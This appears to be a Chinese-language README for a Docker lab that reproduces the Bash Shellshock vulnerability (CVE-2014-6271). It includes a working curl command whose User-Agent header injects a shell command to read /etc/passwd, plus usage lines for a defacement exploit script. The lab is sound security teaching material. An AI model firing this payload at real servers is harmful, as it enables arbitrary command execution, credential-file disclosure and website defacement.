本项目旨在重现漏洞 CVE-2014-6271,也称为 Shellshock。Shellshock 是 Bash 中的一个安全漏洞,允许通过环境变量执行恶意代码。
本项目的目的是演示此漏洞对 Docker 环境的影响。
开始之前,请确保您的计算机上已安装 Docker。您可以在 此处 下载 Docker。
在项目目录中,执行以下命令构建 Docker 镜像:
docker build -t ['image name'] .
将 ['image name'] 替换为您想要给 Docker 镜像的名称。
构建镜像后,使用以下命令从该镜像启动容器:
docker run -it --rm -p 8080:80 ['image name']
这将在本地机器的 8080 端口上暴露服务。
打开浏览器并访问 http://localhost:8080。您将能够观察应用程序的行为并测试漏洞。
在另一个终端中,执行以下命令以利用漏洞并读取 /etc/passwd 文件的内容:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
此命令发送一个专门设计用于利用 Shellshock 的 user-agent 头部。如果漏洞被正确重现,终端输出将显示 /etc/passwd 的内容。
该脚本用于利用漏洞篡改目标网页。该漏洞源于 CGI 脚本的错误配置,允许在服务器上执行任意命令。
前提条件:
./exp_deface.sh <ip> <port>
./exp_deface.sh localhost 8080
重要提示: 此漏洞仅应用于受控环境中的测试和演示目的。请勿在生产环境中使用本项目。